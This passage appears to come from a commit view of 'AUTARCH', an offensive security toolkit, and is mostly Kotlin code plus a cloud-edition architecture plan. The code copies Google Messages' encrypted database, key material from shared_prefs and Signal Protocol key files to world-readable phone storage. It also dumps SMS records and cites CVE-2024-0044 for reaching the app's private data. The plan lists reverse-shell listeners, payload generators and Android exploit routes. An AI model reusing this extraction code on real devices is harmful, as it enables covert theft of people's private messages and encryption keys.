result.extractedFiles.take(20).forEach { details.add(" $it") }
}
}
return ModuleResult(result.success,
if (result.success) "RCS database extracted via ${result.method}" else "Failed: ${result.error}",
details)
}
private fun exploitApp(context: Context, packageName: String): ModuleResult {
val exploit = ExploitManager(context)
val result = exploit.extractAppData(packageName)
return ModuleResult(result.success,
if (result.success) "App data extracted: $packageName" else "Failed: ${result.error}",
result.details)
}
private fun exploitStatus(context: Context): ModuleResult {
val exploit = ExploitManager(context)
val status = exploit.getExtractionStatus()
val details = mutableListOf<String>()
details.add("Extracted: ${status["extracted"]}")
if (status["extracted"] == true) {
details.add("Output: ${status["output_dir"]}")
details.add("Has bugle_db: ${status["has_bugle_db"]}")
if (status["bugle_db_size"] != null) {
details.add("bugle_db size: ${(status["bugle_db_size"] as Long) / 1024}KB")
}
details.add("shared_prefs: ${status["shared_prefs_count"]} files")
val files = status["files"] as? List<*>
if (files != null) {
details.add("Total files: ${files.size}")
}
if (status["device_info"] != null) {
details.add("")
details.add(status["device_info"].toString())
}
}
return ModuleResult(true, "Extraction status", details)
}
private fun exploitCleanup(context: Context): ModuleResult {
val exploit = ExploitManager(context)
val cleaned = exploit.cleanup()
return ModuleResult(true, "Cleanup complete", cleaned)
}
} }

View File

@ -577,4 +577,292 @@ class ShizukuManager(private val context: Context) {
false false
} }
} }
// ── Google Messages bugle_db access (encrypted database) ────────
// Google Messages paths
private val gmsgPkg = "com.google.android.apps.messaging"
private val bugleDb = "/data/data/$gmsgPkg/databases/bugle_db"
private val bugleWal = "$bugleDb-wal"
private val bugleShm = "$bugleDb-shm"
private val sharedPrefsDir = "/data/data/$gmsgPkg/shared_prefs/"
private val filesDir = "/data/data/$gmsgPkg/files/"
private val stagingDir = "/sdcard/Download/autarch_extract"
/**
* Get the Google Messages app UID (needed for run-as or key extraction).
*/
fun getGoogleMessagesUid(): Int? {
val output = executeCommand("pm list packages -U $gmsgPkg")
val match = Regex("uid:(\\d+)").find(output)
return match?.groupValues?.get(1)?.toIntOrNull()
}
/**
* Check if Google Messages is installed and get version info.
*/
fun getGoogleMessagesInfo(): Map<String, String> {
val info = mutableMapOf<String, String>()
val dump = executeCommand("dumpsys package $gmsgPkg | grep -E 'versionName|versionCode|firstInstallTime'")
for (line in dump.lines()) {
val trimmed = line.trim()
if (trimmed.contains("versionName=")) {
info["version"] = trimmed.substringAfter("versionName=").trim()
}
if (trimmed.contains("versionCode=")) {
info["versionCode"] = trimmed.substringAfter("versionCode=").substringBefore(" ").trim()
}
}
val uid = getGoogleMessagesUid()
if (uid != null) info["uid"] = uid.toString()
return info
}
/**
* Extract the encryption key material from Google Messages' shared_prefs.
*
* The bugle_db is encrypted at rest. Key material is stored in:
* - shared_prefs/ XML files (key alias, crypto params)
* - Android Keystore (hardware-backed master key)
*
* We extract all shared_prefs and files/ contents so offline decryption
* can be attempted. The actual Keystore master key cannot be extracted
* via ADB (hardware-backed), but the key derivation parameters in
* shared_prefs may be enough for some encryption configurations.
*/
fun extractEncryptionKeyMaterial(): Map<String, Any> {
val result = mutableMapOf<String, Any>()
// List shared_prefs files
val prefsList = executeCommand("ls -la $sharedPrefsDir 2>/dev/null")
if (prefsList.startsWith("ERROR") || prefsList.contains("Permission denied")) {
result["error"] = "Cannot access shared_prefs — need root or CVE exploit"
return result
}
result["shared_prefs_files"] = prefsList.lines().filter { it.isNotBlank() }
// Read each shared_prefs XML for crypto-related keys
val cryptoData = mutableMapOf<String, String>()
val prefsFiles = executeCommand("ls $sharedPrefsDir 2>/dev/null")
for (file in prefsFiles.lines()) {
val fname = file.trim()
if (fname.isBlank() || !fname.endsWith(".xml")) continue
val content = executeCommand("cat ${sharedPrefsDir}$fname 2>/dev/null")
// Look for encryption-related entries
if (content.contains("encrypt", ignoreCase = true) ||
content.contains("cipher", ignoreCase = true) ||
content.contains("key", ignoreCase = true) ||
content.contains("crypto", ignoreCase = true) ||
content.contains("secret", ignoreCase = true)) {
cryptoData[fname] = content
}
}
result["crypto_prefs"] = cryptoData
result["crypto_prefs_count"] = cryptoData.size
// List files/ directory (Signal Protocol state, etc.)
val filesList = executeCommand("ls -la $filesDir 2>/dev/null")
result["files_dir"] = filesList.lines().filter { it.isNotBlank() }
return result
}
/**
* Extract bugle_db + WAL + key material to staging directory.
* The database is encrypted both DB and key files are needed.
*/
fun extractBugleDbRaw(): Map<String, Any> {
val result = mutableMapOf<String, Any>()
executeCommand("mkdir -p $stagingDir/shared_prefs $stagingDir/files")
// Copy database files
val dbFiles = mutableListOf<String>()
for (path in listOf(bugleDb, bugleWal, bugleShm)) {
val fname = path.substringAfterLast("/")
val cp = executeShell("cp $path $stagingDir/$fname 2>/dev/null && chmod 644 $stagingDir/$fname")
if (cp.exitCode == 0) dbFiles.add(fname)
}
result["db_files"] = dbFiles
// Copy shared_prefs (key material)
executeShell("cp -r ${sharedPrefsDir}* $stagingDir/shared_prefs/ 2>/dev/null")
executeShell("chmod -R 644 $stagingDir/shared_prefs/ 2>/dev/null")
// Copy files dir (Signal Protocol keys)
executeShell("cp -r ${filesDir}* $stagingDir/files/ 2>/dev/null")
executeShell("chmod -R 644 $stagingDir/files/ 2>/dev/null")
result["staging_dir"] = stagingDir
result["encrypted"] = true
result["note"] = "Database is encrypted at rest. Key material in shared_prefs/ " +
"may allow decryption. Hardware-backed Keystore keys cannot be extracted via ADB."
return result
}
/**
* Dump decrypted messages by querying from within the app context.
*
* When Google Messages opens its own bugle_db, it has access to the
* encryption key. We can intercept the decrypted data by:
* 1. Using `am` commands to trigger data export activities
* 2. Querying exposed content providers
* 3. Reading from the in-memory decrypted state via debug tools
*
* As a fallback, we use the standard telephony content providers which
* have the SMS/MMS data in plaintext (but not RCS).
*/
fun dumpDecryptedMessages(): Map<String, Any> {
val result = mutableMapOf<String, Any>()
val messages = mutableListOf<Map<String, Any>>()
// Method 1: Query AOSP RCS content provider (content://rcs/)
val rcsThreads = executeCommand(
"content query --uri content://rcs/thread 2>/dev/null"
)
if (!rcsThreads.startsWith("ERROR") && rcsThreads.contains("Row:")) {
result["rcs_provider_accessible"] = true
// Parse thread IDs and query messages from each
for (line in rcsThreads.lines()) {
if (!line.startsWith("Row:")) continue
val tidMatch = Regex("rcs_thread_id=(\\d+)").find(line)
val tid = tidMatch?.groupValues?.get(1) ?: continue
val msgOutput = executeCommand(
"content query --uri content://rcs/p2p_thread/$tid/incoming_message 2>/dev/null"
)
for (msgLine in msgOutput.lines()) {
if (!msgLine.startsWith("Row:")) continue
val row = parseContentRow(msgLine)
row["thread_id"] = tid
row["source"] = "rcs_provider"
messages.add(row)
}
}
} else {
result["rcs_provider_accessible"] = false
}
// Method 2: Standard SMS/MMS content providers (always decrypted)
val smsOutput = executeCommand(
"content query --uri content://sms/ --projection _id:thread_id:address:body:date:type:read " +
"--sort \"date DESC\" 2>/dev/null"
)
for (line in smsOutput.lines()) {
if (!line.startsWith("Row:")) continue
val row = parseContentRow(line)
row["source"] = "sms_provider"
row["protocol"] = "SMS"
messages.add(row)
}
// Method 3: Try to trigger Google Messages backup/export
// Google Messages has an internal export mechanism accessible via intents
val backupResult = executeCommand(
"am broadcast -a com.google.android.apps.messaging.action.EXPORT_MESSAGES " +
"--es output_path $stagingDir/gmsg_export.json 2>/dev/null"
)
result["backup_intent_sent"] = !backupResult.startsWith("ERROR")
result["messages"] = messages
result["message_count"] = messages.size
result["note"] = if (messages.isEmpty()) {
"No messages retrieved. For RCS, ensure Archon is the default SMS app " +
"or use CVE-2024-0044 to access bugle_db from the app's UID."
} else {
"Retrieved ${messages.size} messages. RCS messages require elevated access."
}
// Write decrypted dump to file
if (messages.isNotEmpty()) {
try {
val json = org.json.JSONArray()
for (msg in messages) {
val obj = org.json.JSONObject()
for ((k, v) in msg) obj.put(k, v)
json.put(obj)
}
executeCommand("mkdir -p $stagingDir")
val jsonStr = json.toString(2)
// Write via shell since we may not have direct file access
val escaped = jsonStr.replace("'", "'\\''").replace("\"", "\\\"")
executeCommand("echo '$escaped' > $stagingDir/messages.json 2>/dev/null")
result["json_path"] = "$stagingDir/messages.json"
} catch (e: Exception) {
Log.e(TAG, "Failed to write JSON dump", e)
}
}
return result
}
/**
* Get the RCS account/registration info from Google Messages.
* This tells us if RCS is active, what phone number is registered, etc.
*/
fun getRcsAccountInfo(): Map<String, Any> {
val info = mutableMapOf<String, Any>()
// IMS registration state
val imsOutput = executeCommand("dumpsys telephony_ims 2>/dev/null")
if (!imsOutput.startsWith("ERROR")) {
info["ims_dump_length"] = imsOutput.length
for (line in imsOutput.lines()) {
val l = line.trim().lowercase()
if ("registered" in l && "ims" in l) info["ims_registered"] = true
if ("rcs" in l && ("enabled" in l || "connected" in l)) info["rcs_enabled"] = true
}
}
// Carrier config RCS keys
val ccOutput = executeCommand("dumpsys carrier_config 2>/dev/null")
val rcsConfig = mutableMapOf<String, String>()
for (line in ccOutput.lines()) {
val l = line.trim().lowercase()
if (("rcs" in l || "uce" in l || "single_registration" in l) && "=" in line) {
val (k, v) = line.trim().split("=", limit = 2)
rcsConfig[k.trim()] = v.trim()
}
}
info["carrier_rcs_config"] = rcsConfig
// Google Messages specific RCS settings
val gmsgPrefs = executeCommand(
"cat /data/data/$gmsgPkg/shared_prefs/com.google.android.apps.messaging_preferences.xml 2>/dev/null"
)
if (!gmsgPrefs.startsWith("ERROR") && gmsgPrefs.isNotBlank()) {
// Extract RCS-related prefs
val rcsPrefs = mutableMapOf<String, String>()
for (match in Regex("<(string|boolean|int|long)\\s+name=\"([^\"]*rcs[^\"]*)\">([^<]*)<").findAll(gmsgPrefs, 0)) {
rcsPrefs[match.groupValues[2]] = match.groupValues[3]
}
info["gmsg_rcs_prefs"] = rcsPrefs
}
// Phone number / MSISDN
val phoneOutput = executeCommand("service call iphonesubinfo 15 2>/dev/null")
info["phone_service_response"] = phoneOutput.take(200)
// Google Messages version
info["google_messages"] = getGoogleMessagesInfo()
return info
}
/**
* Parse a `content query` output row into a map.
*/
private fun parseContentRow(line: String): MutableMap<String, Any> {
val row = mutableMapOf<String, Any>()
val payload = line.substringAfter(Regex("Row:\\s*\\d+\\s*").find(line)?.value ?: "")
val fields = payload.split(Regex(",\\s+(?=[a-zA-Z_]+=)"))
for (field in fields) {
val eqPos = field.indexOf('=')
if (eqPos == -1) continue
val key = field.substring(0, eqPos).trim()
val value = field.substring(eqPos + 1).trim()
row[key] = if (value == "NULL") "" else value
}
return row
}
} }

View File

@ -0,0 +1 @@
sdk.dir=C:/Users/mdavi/AppData/Local/Android/Sdk

650
autarch_float.md Normal file
View File

@ -0,0 +1,650 @@
# AUTARCH Cloud Edition & Float Mode — Architecture Plan
**Run AUTARCH on a VPS, use it like it's on your local machine**
By darkHal Security Group & Setec Security Labs
---
## 1. What Is Float Mode?
Float Mode makes a remote AUTARCH instance feel local. The user signs into their AUTARCH account on a VPS and activates Float Mode. A lightweight client applet running on the user's PC creates a bridge that:
- **Forwards USB devices** (phones, ESP32, hardware) from the user's PC to the VPS
- **Exposes local network context** (LAN scanning sees the user's network, not the VPS's)
- **Bridges serial ports** (COM/ttyUSB devices) for hardware flashing
- **Provides clipboard sync** between local and remote
- **Tunnels mDNS/Bluetooth discovery** from the local machine
The VPS does all computation. The user's PC just provides I/O.
```
┌─────────────────────────────────────────────────────────┐
│ USER'S BROWSER │
│ ┌───────────────────────────────────────────────────┐ │
│ │ AUTARCH Cloud Edition (Web UI) │ │
│ │ Same UI as local AUTARCH — hardware, OSINT, │ │
│ │ exploit tools, AI chat — everything works │ │
│ └─────────────────────┬─────────────────────────────┘ │
│ │ HTTPS │
└────────────────────────┼────────────────────────────────┘
┌────▼────┐
│ VPS │
│ AUTARCH │ ← All processing happens here
│ CE │
└────┬────┘
│ WebSocket (wss://)
│ Float Bridge Protocol
┌────────────────────────┼────────────────────────────────┐
│ USER'S PC │
│ ┌─────────────────────▼─────────────────────────────┐ │
│ │ Float Applet (native Go app) │ │
│ │ │ │
│ │ ┌──────────┐ ┌──────────┐ ┌─────────────────┐ │ │
│ │ │ USB Hub │ │ Serial │ │ Network Context │ │ │
│ │ │ Bridge │ │ Bridge │ │ (LAN, mDNS) │ │ │
│ │ └────┬─────┘ └────┬─────┘ └────────┬────────┘ │ │
│ └───────┼──────────────┼─────────────────┼───────────┘ │
│ │ │ │ │
│ ┌────▼────┐ ┌────▼────┐ ┌────▼────┐ │
│ │ Android │ │ ESP32 │ │ LAN │ │
│ │ Phone │ │ Board │ │ Devices │ │
│ └─────────┘ └─────────┘ └─────────┘ │
└──────────────────────────────────────────────────────────┘
```
---
## 2. Why Write AUTARCH CE in Go?
The Python AUTARCH works great locally. But for cloud deployment at scale:
| Python AUTARCH | Go AUTARCH CE |
|----------------|---------------|
| 500MB+ with venv + dependencies | Single binary, ~30MB |
| Requires Python 3.10+, pip, venv | Zero runtime dependencies |
| Flask (single-threaded WSGI) | Native goroutine concurrency |
| llama-cpp-python (C++ bindings) | HTTP calls to LLM APIs only (no local models on VPS) |
| File-based config (INI) | Embedded config + SQLite |
| 72 modules loaded at startup | Modular, lazy-loaded handlers |
| subprocess for system tools | Native Go implementations where possible |
**Key insight:** The Cloud Edition doesn't need local LLM inference (no GPU on VPS), doesn't need ADB/Fastboot binaries (USB is on the user's PC), and doesn't need heavy Python dependencies. What it needs is a fast web server, WebSocket handling, and the ability to relay commands to the Float applet.
---
## 3. What Gets Ported, What Gets Dropped
### Port to Go (core features that work in cloud context)
| Feature | Python Source | Go Approach |
|---------|-------------|-------------|
| Web dashboard + UI | `web/app.py`, templates, CSS, JS | Go HTTP server + embedded templates |
| Authentication | `web/auth.py` | bcrypt + JWT |
| Configuration | `core/config.py` | YAML config + SQLite |
| LLM Chat (API-only) | `core/llm.py` | HTTP client to Claude/OpenAI/HF APIs |
| Agent system | `core/agent.py` | Port agent loop + tool registry to Go |
| OSINT recon | `modules/recon.py` | HTTP client, site database, result parsing |
| Dossier management | `modules/dossier.py` | SQLite + file storage |
| GeoIP | `modules/geoip.py` | MaxMind DB reader (native Go) |
| Hash toolkit | part of `modules/analyze.py` | Go `crypto/*` packages |
| Reverse shell listener | `modules/revshell.py`, `core/revshell.py` | Go net.Listener |
| Port scanner | `web/routes/port_scanner.py` | Go `net.DialTimeout` |
| Network mapping | `modules/net_mapper.py` | Go ICMP/TCP scanner |
| Targets management | `web/routes/targets.py` | SQLite CRUD |
| Payload generation | `modules/simulate.py` | String templating |
| Report engine | `modules/report_engine.py` | Go templates → PDF |
| Threat intel | `modules/threat_intel.py` | HTTP client to threat feeds |
| Wireshark (tshark) | `modules/wireshark.py` | Exec wrapper (tshark on VPS) |
| DNS service | `services/dns-server/` | Already Go, integrate directly |
### Relay via Float Bridge (runs on user's PC, not VPS)
| Feature | Why Relay? | Bridge Protocol |
|---------|-----------|----------------|
| ADB commands | Phone is on user's USB | USB frame relay |
| Fastboot | Phone is on user's USB | USB frame relay |
| ESP32 flash | Board is on user's serial port | Serial frame relay |
| Serial monitor | Device is on user's ttyUSB | Serial stream relay |
| LAN scanning | User's network, not VPS | Network proxy relay |
| mDNS discovery | User's LAN | mDNS frame relay |
| Bluetooth | User's adapter | BT command relay |
| File push/pull to device | USB device files | Chunked transfer relay |
### Drop (not applicable in cloud context)
| Feature | Why Drop |
|---------|---------|
| Local LLM (llama.cpp) | No GPU on VPS; use API backends |
| Local transformers | Same — no GPU |
| System defender (hardening) | VPS is managed by Setec Manager |
| Windows defender | Cloud is Linux only |
| Defense monitor | Managed by Setec Manager |
| UPnP port mapping | VPS has static IP, no NAT |
| WireGuard management | Not needed in cloud (direct HTTPS) |
| Metasploit RPC | Can optionally exec, but low priority |
| RouterSploit | Same |
| Module encryption system | Go doesn't need this pattern |
| Setup wizard | Replaced by Setec Manager bootstrap |
| CLI menu system | Cloud is web-only |
| Print capture/debug console | Replace with structured logging |
---
## 4. AUTARCH CE Directory Structure
```
/c/autarch_ce/ # Development root
├── cmd/
│ └── autarch-ce/
│ └── main.go # Entry point
├── internal/
│ ├── server/
│ │ ├── server.go # HTTP server, router, middleware
│ │ ├── auth.go # JWT authentication
│ │ ├── sse.go # SSE streaming helpers
│ │ └── websocket.go # WebSocket helpers
│ ├── handlers/
│ │ ├── dashboard.go # Main dashboard
│ │ ├── chat.go # LLM chat + agent mode
│ │ ├── osint.go # OSINT reconnaissance
│ │ ├── scanner.go # Port scanner
│ │ ├── analyze.go # Hash toolkit, file analysis
│ │ ├── simulate.go # Payload generation, attack sim
│ │ ├── hardware.go # Hardware management (Float relay)
│ │ ├── targets.go # Target management CRUD
│ │ ├── exploit.go # Android/iPhone exploit routes
│ │ ├── revshell.go # Reverse shell listener
│ │ ├── network.go # Network tools (traceroute, ping, DNS)
│ │ ├── threat.go # Threat intel feeds
│ │ ├── reports.go # Report generation
│ │ ├── settings.go # Configuration management
│ │ └── wireshark.go # Packet capture (tshark on VPS)
│ ├── llm/
│ │ ├── llm.go # Multi-backend LLM client interface
│ │ ├── claude.go # Anthropic Claude backend
│ │ ├── openai.go # OpenAI backend
│ │ ├── huggingface.go # HuggingFace Inference backend
│ │ └── agent.go # Autonomous agent (THOUGHT/ACTION/PARAMS)
│ ├── osint/
│ │ ├── engine.go # Site checking engine (concurrent)
│ │ ├── sites.go # Site database loader (JSON)
│ │ ├── dossier.go # Dossier management
│ │ └── geoip.go # MaxMind GeoIP reader
│ ├── hardware/
│ │ ├── manager.go # Hardware manager (Float-aware)
│ │ ├── adb.go # ADB command builder/parser
│ │ ├── fastboot.go # Fastboot command builder/parser
│ │ ├── serial.go # Serial port management
│ │ └── bridge.go # Float bridge command relay
│ ├── float/
│ │ ├── protocol.go # Binary WebSocket frame protocol
│ │ ├── session.go # Session management
│ │ ├── usb.go # USB device relay logic
│ │ ├── serial.go # Serial port relay logic
│ │ └── network.go # Network context relay logic
│ ├── scanner/
│ │ ├── port.go # TCP/UDP port scanner
│ │ ├── service.go # Service fingerprinting
│ │ └── network.go # Network mapper (ICMP sweep)
│ ├── tools/
│ │ ├── registry.go # Agent tool registry
│ │ ├── hash.go # Hash computation + identification
│ │ ├── strings.go # String extraction from binaries
│ │ └── encode.go # Encoding/decoding utilities
│ ├── revshell/
│ │ ├── listener.go # TCP listener for reverse shells
│ │ ├── generator.go # Shell payload generator
│ │ └── session.go # Active shell session management
│ ├── db/
│ │ ├── db.go # SQLite connection + migrations
│ │ ├── targets.go # Target CRUD
│ │ ├── dossiers.go # Dossier storage
│ │ ├── sessions.go # Float sessions
│ │ └── jobs.go # Background job tracking
│ └── config/
│ └── config.go # YAML config + defaults
├── web/
│ ├── templates/ # HTML templates (embed.FS)
│ │ ├── base.html # Master layout (port from Python)
│ │ ├── login.html
│ │ ├── dashboard.html
│ │ ├── chat.html
│ │ ├── osint.html
│ │ ├── scanner.html
│ │ ├── hardware.html
│ │ ├── analyze.html
│ │ ├── simulate.html
│ │ ├── targets.html
│ │ ├── exploit.html
│ │ ├── revshell.html
│ │ ├── reports.html
│ │ ├── settings.html
│ │ └── ... (one per feature)
│ └── static/ # CSS/JS/images (embed.FS)
│ ├── css/style.css # Port from Python AUTARCH
│ ├── js/
│ │ ├── app.js # Main app logic (port from Python)
│ │ ├── float-client.js # Float Mode browser-side logic
│ │ ├── hardware-direct.js # WebUSB (for local mode fallback)
│ │ └── lib/
│ │ ├── adb-bundle.js # ADB WebUSB client
│ │ ├── fastboot-bundle.js # Fastboot WebUSB client
│ │ └── esptool-bundle.js # ESP32 Web Serial client
│ └── img/
│ └── autarch.ico
├── data/
│ └── sites/ # OSINT site databases (JSON)
│ ├── sherlock.json
│ ├── maigret.json
│ └── ...
├── build.sh
├── go.mod
└── config.yaml
```
---
## 5. Float Bridge Protocol
### 5.1 Frame Format
All communication over WebSocket using binary frames:
```
┌──────┬──────┬──────┬────────┬─────────────────────┐
│ VER │ TYPE │ SEQ │ LENGTH │ PAYLOAD │
│ 1B │ 1B │ 4B │ 4B │ variable │
└──────┴──────┴──────┴────────┴─────────────────────┘
VER: Protocol version (0x01)
TYPE: Frame type (see below)
SEQ: Sequence number (for request/response matching)
LENGTH: Payload length in bytes (big-endian uint32)
PAYLOAD: Type-specific data (JSON or binary)
```
### 5.2 Frame Types
```
── Control ──────────────────────────────────
0x00 PING Keepalive
0x01 PONG Keepalive response
0x02 HELLO Client registration (capabilities, platform)
0x03 AUTH Session authentication
0x04 ERROR Error response
0x05 DISCONNECT Graceful disconnect
── USB ──────────────────────────────────────
0x10 USB_ENUMERATE List connected USB devices
0x11 USB_ENUMERATE_RESULT Device list response
0x12 USB_OPEN Open device by vid:pid or serial
0x13 USB_OPEN_RESULT Open result (handle ID)
0x14 USB_CLOSE Close device handle
0x15 USB_TRANSFER Bulk/interrupt transfer
0x16 USB_TRANSFER_RESULT Transfer response data
0x17 USB_HOTPLUG Device connected/disconnected event
── ADB (high-level, built on USB) ──────────
0x20 ADB_DEVICES List ADB devices
0x21 ADB_DEVICES_RESULT Device list with state/model
0x22 ADB_SHELL Execute shell command
0x23 ADB_SHELL_RESULT Command output
0x24 ADB_PUSH Push file to device
0x25 ADB_PUSH_DATA File data chunk
0x26 ADB_PUSH_RESULT Push completion
0x27 ADB_PULL Pull file from device
0x28 ADB_PULL_DATA File data chunk
0x29 ADB_PULL_RESULT Pull completion
0x2A ADB_INSTALL Install APK
0x2B ADB_INSTALL_RESULT Install result
0x2C ADB_LOGCAT Start logcat stream
0x2D ADB_LOGCAT_LINE Logcat line
0x2E ADB_REBOOT Reboot device
── Fastboot ─────────────────────────────────
0x30 FB_DEVICES List fastboot devices
0x31 FB_DEVICES_RESULT Device list
0x32 FB_GETVAR Get variable
0x33 FB_GETVAR_RESULT Variable value
0x34 FB_FLASH Flash partition (streamed)
0x35 FB_FLASH_DATA Firmware data chunk
0x36 FB_FLASH_PROGRESS Flash progress update
0x37 FB_FLASH_RESULT Flash completion
0x38 FB_REBOOT Reboot
0x39 FB_OEM_UNLOCK OEM unlock
── Serial ───────────────────────────────────
0x40 SERIAL_LIST List serial ports
0x41 SERIAL_LIST_RESULT Port list
0x42 SERIAL_OPEN Open port (baud, settings)
0x43 SERIAL_OPEN_RESULT Open result
0x44 SERIAL_CLOSE Close port
0x45 SERIAL_WRITE Send data to port
0x46 SERIAL_READ Data received from port
0x47 SERIAL_DETECT_CHIP ESP32 chip detection
0x48 SERIAL_DETECT_RESULT Chip info
── Network Context ──────────────────────────
0x50 NET_INTERFACES List network interfaces
0x51 NET_INTERFACES_RESULT Interface list (IPs, MACs)
0x52 NET_SCAN Scan local network (ARP/ping)
0x53 NET_SCAN_RESULT Host list
0x54 NET_RESOLVE DNS resolve on client network
0x55 NET_RESOLVE_RESULT Resolution result
0x56 NET_CONNECT TCP connect through client
0x57 NET_CONNECT_RESULT Connection result
0x58 NET_MDNS_DISCOVER mDNS service discovery
0x59 NET_MDNS_RESULT Discovered services
── System Context ───────────────────────────
0x60 SYS_INFO Client system info
0x61 SYS_INFO_RESULT OS, arch, hostname, user
0x62 SYS_CLIPBOARD_GET Get clipboard contents
0x63 SYS_CLIPBOARD_DATA Clipboard data
0x64 SYS_CLIPBOARD_SET Set clipboard contents
```
### 5.3 Payload Formats
**HELLO payload (JSON):**
```json
{
"version": "1.0.0",
"platform": "windows",
"arch": "amd64",
"hostname": "user-desktop",
"capabilities": ["usb", "serial", "network", "clipboard"],
"usb_devices": 3,
"serial_ports": 1
}
```
**USB_ENUMERATE_RESULT payload (JSON):**
```json
{
"devices": [
{
"vid": "18d1",
"pid": "4ee7",
"serial": "ABCDEF123456",
"manufacturer": "Google",
"product": "Pixel 8",
"bus": 1,
"address": 4,
"class": "adb"
}
]
}
```
**ADB_SHELL payload (JSON):**
```json
{
"serial": "ABCDEF123456",
"command": "pm list packages -3"
}
```
**USB_TRANSFER payload (binary):**
```
┌──────────┬──────────┬──────┬──────────┐
│ HANDLE │ ENDPOINT │ FLAGS│ DATA │
│ 4B │ 1B │ 1B │ variable │
└──────────┴──────────┴──────┴──────────┘
```
---
## 6. Float Applet (Client-Side)
### 6.1 Options for the Applet
| Option | Pros | Cons |
|--------|------|------|
| **Go native app** (recommended) | Single binary, cross-platform, full USB access via libusb/gousb | Requires download + run |
| **Electron app** | Web technologies, WebUSB built-in | Heavy (~150MB), Chromium overhead |
| **Tauri app** | Lighter than Electron (~10MB), Rust backend | More complex build, newer ecosystem |
| **Browser extension + Web Serial/USB** | No install needed | Limited USB access, Chrome only, no raw USB |
| **Java Web Start / JNLP** | Auto-launch from browser | Dead technology, security warnings |
**Recommendation: Go native app** (5-10MB binary)
The user downloads a small executable. On launch it:
1. Shows a system tray icon with status
2. Connects via WebSocket to the VPS
3. Enumerates local USB, serial, and network
4. Relays commands from the VPS to local hardware
5. Stays running in background until closed
### 6.2 Float Applet Structure
```
float-applet/
├── cmd/
│ └── float/
│ └── main.go # Entry point, tray icon
├── internal/
│ ├── bridge/
│ │ ├── client.go # WebSocket client + reconnect
│ │ ├── protocol.go # Frame parser/builder (shared with server)
│ │ └── handler.go # Dispatch incoming frames to subsystems
│ ├── usb/
│ │ ├── enumerate.go # List USB devices (gousb/libusb)
│ │ ├── device.go # Open/close/transfer
│ │ └── hotplug.go # Device connect/disconnect events
│ ├── adb/
│ │ ├── client.go # ADB protocol implementation
│ │ ├── shell.go # Shell command execution
│ │ ├── sync.go # File push/pull (ADB sync protocol)
│ │ └── logcat.go # Logcat streaming
│ ├── fastboot/
│ │ ├── client.go # Fastboot protocol
│ │ ├── flash.go # Partition flashing
│ │ └── getvar.go # Variable queries
│ ├── serial/
│ │ ├── enumerate.go # List serial ports
│ │ ├── port.go # Open/read/write serial
│ │ └── esp.go # ESP32 chip detection
│ ├── network/
│ │ ├── interfaces.go # List local interfaces
│ │ ├── scan.go # ARP/ping sweep
│ │ ├── proxy.go # TCP proxy for remote connections
│ │ └── mdns.go # mDNS discovery relay
│ └── system/
│ ├── info.go # OS, arch, hostname
│ └── clipboard.go # Clipboard read/write
├── build.sh # Cross-compile: Windows, Linux, macOS
└── go.mod
```
### 6.3 Float Applet User Experience
```
1. User visits AUTARCH CE web dashboard
2. Clicks "Float Mode" button
3. If first time:
a. Page shows download links for their platform (auto-detected)
b. User downloads float-applet binary (~8MB)
c. Runs it — system tray icon appears
4. Applet auto-connects to VPS via WebSocket
5. Dashboard detects connection:
a. Hardware page now shows LOCAL USB devices
b. LAN scanner sees LOCAL network
c. Serial ports show LOCAL COM/ttyUSB ports
6. User works normally — everything feels local
7. Close applet → hardware reverts to VPS context
```
---
## 7. AUTARCH CE Feature Map
### Tier 1: Core (implement first)
| Feature | Source Reference | Go Package |
|---------|----------------|------------|
| Web server + routing | `web/app.py` (183 lines) | `internal/server/` |
| Authentication | `web/auth.py` (73 lines) | `internal/server/auth.go` |
| Dashboard | `web/routes/dashboard.py` | `internal/handlers/dashboard.go` |
| Configuration | `core/config.py` (587 lines) | `internal/config/` |
| Settings UI | `web/routes/settings.py` | `internal/handlers/settings.go` |
| Base template + CSS | `web/templates/base.html`, `style.css` | `web/templates/`, `web/static/` |
### Tier 2: Intelligence (implement second)
| Feature | Source Reference | Go Package |
|---------|----------------|------------|
| LLM chat (API backends) | `core/llm.py` (1400 lines) | `internal/llm/` |
| Agent system | `core/agent.py` (439 lines) | `internal/llm/agent.go` |
| Tool registry | `core/tools.py` | `internal/tools/registry.go` |
| Chat UI | `web/routes/chat.py`, `web/templates/chat.html` | `internal/handlers/chat.go` |
| OSINT engine | `modules/recon.py` | `internal/osint/engine.go` |
| Site databases | `data/sites/*.json` (7,287 sites) | `data/sites/` (embedded) |
| Dossier management | `modules/dossier.py` | `internal/osint/dossier.go` |
| GeoIP | `modules/geoip.py` | `internal/osint/geoip.go` |
### Tier 3: Scanning & Analysis
| Feature | Source Reference | Go Package |
|---------|----------------|------------|
| Port scanner | `web/routes/port_scanner.py` | `internal/scanner/port.go` |
| Network mapper | `modules/net_mapper.py` | `internal/scanner/network.go` |
| Hash toolkit | `modules/analyze.py` (hash section) | `internal/tools/hash.go` |
| Target management | `web/routes/targets.py` | `internal/handlers/targets.go` |
| Threat intel | `modules/threat_intel.py` | `internal/handlers/threat.go` |
| Report engine | `modules/report_engine.py` | `internal/handlers/reports.go` |
### Tier 4: Float Mode + Hardware
| Feature | Source Reference | Go Package |
|---------|----------------|------------|
| Float bridge (server) | NEW | `internal/float/` |
| Hardware manager | `core/hardware.py` (641 lines) | `internal/hardware/` |
| Hardware UI | `web/routes/hardware.py` (417 lines) | `internal/handlers/hardware.go` |
| ADB relay | `core/hardware.py` ADB methods | `internal/hardware/adb.go` |
| Fastboot relay | `core/hardware.py` FB methods | `internal/hardware/fastboot.go` |
| Serial relay | `core/hardware.py` serial methods | `internal/hardware/serial.go` |
### Tier 5: Exploitation & Advanced
| Feature | Source Reference | Go Package |
|---------|----------------|------------|
| Reverse shell | `core/revshell.py`, `modules/revshell.py` | `internal/revshell/` |
| Payload generator | `modules/simulate.py` | `internal/handlers/simulate.go` |
| Android exploit | `core/android_exploit.py` | `internal/handlers/exploit.go` |
| Wireshark (tshark) | `modules/wireshark.py` | `internal/handlers/wireshark.go` |
---
## 8. Estimated Scope
```
AUTARCH Cloud Edition (Go rewrite of web-facing features):
├── Core server + auth + config + dashboard ~2,500 lines
├── LLM client + agent system ~2,000 lines
├── OSINT engine + site DB + dossiers ~2,500 lines
├── Scanner + network tools ~1,500 lines
├── Float bridge protocol + server side ~2,000 lines
├── Hardware manager (Float relay) ~1,500 lines
├── Handlers (all web routes) ~3,000 lines
├── Database layer ~1,000 lines
├── Web templates (HTML) ~3,000 lines
├── CSS + JavaScript ~2,500 lines
└── Total ~21,500 lines
Float Applet (client-side):
├── WebSocket client + reconnect ~500 lines
├── Protocol + frame handling ~800 lines
